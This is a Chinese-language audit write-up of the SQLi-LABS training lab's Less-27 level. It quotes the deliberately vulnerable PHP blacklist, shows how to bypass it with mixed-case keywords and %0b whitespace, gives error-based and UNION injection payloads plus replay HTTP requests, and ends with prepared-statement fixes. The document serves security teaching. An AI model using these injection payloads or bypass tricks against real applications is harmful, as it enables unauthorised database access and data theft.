sqli-labs-Less-27-代码审计报告

14次阅读
没有评论

Less-27 审计报告:SELECT/UNION 大小写黑名单绕过(报错型,单引号闭合)

1. 关卡概述

项目 内容
关卡名称 Less-27 Trick with SELECT & UNION
源码路径 Less-27/index.php
漏洞类型 SQL 注入 – 报错型(黑名单按"精确大小写"列举 select/union,大小写混合绕过)
注入点参数 GET /Less-27/?id=
报错/盲注 报错回显(print_r(mysql_error()))
所需环境 PHP 5.x + mysql 扩展 + MySQL 5.x

2. 漏洞代码定位

文件: Less-27/index.php

// 第 20 行:用户输入直接取出
$id=$_GET['id'];

// 第 27 行:交给黑名单函数
$id= blacklist($id);

// 第 34 行:单引号包裹
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

// 第 48 行:报错回显
print_r(mysql_error());

// 第 57~72 行:黑名单 —— 注释符、空格/加号、以及"精确大小写"的 select/union
function blacklist($id)
{
    $id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
    $id= preg_replace('/[--]/',"", $id);		//Strip out --.
    $id= preg_replace('/[#]/',"", $id);			//Strip out #.
    $id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
    $id= preg_replace('/select/m',"", $id);	    //Strip out select
    $id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
    $id= preg_replace('/union/s',"", $id);	    //Strip out union
    $id= preg_replace('/select/s',"", $id);	    //Strip out select
    $id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
    $id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
    $id= preg_replace('/Union/s',"", $id);	    //Strip out Union
    $id= preg_replace('/Select/s',"", $id);	    //Strip out select
    return $id;
}

3. 漏洞分析

  • 过滤机制:
    • 删除注释符 /*、--、#;
    • 删除空格和 +([ +] 字符类);但不删除 Tab(%09)、换行(%0a)、垂直制表符(%0b),这些可作为空白替代;
    • 删除 select/union,但仅限精确列举的 6 种大小写:select、union、UNION、SELECT、Union、Select。没有 /i 修饰符。
  • 绕过:
    • 大小写混合 SeLeCt、UnIoN、UnIoN SeLeCt 等不在黑名单列表 → 原样通过;
    • 空格用 %0b(垂直制表符)或 %0a/%09 代替 —— [ +] 不会删它们,MySQL 把它们当空白。
  • 闭合方式:WHERE id='$id'。注释符全被删,无法用 --/#,需用等价表达式闭合尾部引号。
  • 是否回显:第 48 行报错回显。

4. 利用方式

步骤一:确认 select/union 大小写过滤

  • ?id=1' union select 1,2,3-- - → union/select/--/空格全被删,语法错。
  • ?id=1'%0bUnIoN%0bSeLeCt%0b1,2,3%0b' → UnIoN/SeLeCt 未被删,%0b 保留 → 可返回,说明绕过成立。

步骤二:报错注入(最简单,无需 UNION/注释)

and、extractvalue、updatexml 均未被过滤,只需处理空格:

1'%0band%0bextractvalue(1,concat(0x7e,database()))%0band%0b'1'='1

拼接后(%0b 为垂直制表符,MySQL 视为空白):

SELECT * FROM users WHERE id='1' and extractvalue(1,concat(0x7e,database())) and '1'='1' LIMIT 0,1

预期结果:回显 XPATH syntax error: '~security'。

步骤三:联合注入(大小写混合 + %0b,注释被过滤需自行闭合)

-1'%0bUnIoN%0bSeLeCt%0b1,2,database()%0b'

拼接后:

SELECT * FROM users WHERE id='-1' UnIoN SeLeCt 1,2,database() '' LIMIT 0,1

MySQL 中 database() '' 中的 '' 会被当作第 3 列的别名(字符串别名),语法合法;-1 无匹配行,union 结果(1,2,security)显示在页面上。

步骤四:提取其它数据

1'%0band%0bextractvalue(1,concat(0x7e,(select%0bgroup_concat(table_name)%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema=database())))%0band%0b'1'='1

子查询内的空格用 %0b 代替;若子查询出现 select/union 关键词,同样用 SeLeCt/UnIoN 混合大小写绕过。


5. Yakit 重放数据包

GET /sqli-labs/Less-27/?id=1'%0band%0bextractvalue(1,concat(0x7e,database()))%0band%0b'1'='1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

联合注入报文:

GET /sqli-labs/Less-27/?id=-1'%0bUnIoN%0bSeLeCt%0b1,2,database()%0b' HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

%0b 为原始字节 0x0B,必须保持 URL 编码形式发送(Yakit 中直接写 %0b 即可)。


6. 修复建议

修复一:PDO 预处理

<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id LIMIT 0,1");
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();
$row = $stmt->fetch();

修复二:mysqli 预处理

<?php
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ? LIMIT 0,1");
$stmt->bind_param('i', $id);
$stmt->execute();
$row = $stmt->fetch_assoc();

修复三:加固要点

  • 黑名单列举关键字大小写 = 必被绕过;应改为参数化 + 白名单。
  • id 参数 ctype_digit()/is_numeric() 强校验。
  • 关闭报错回显(移除 print_r(mysql_error()))。
  • 数据库最小权限,升级 PHP 7+ / 8+。

附:验证与复现说明

  • 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
  • 复现前提:导入 sql-lab.sql、配置 sql-connections/db-creds.inc、PHP 5.x + mysql 扩展。
正文完
 0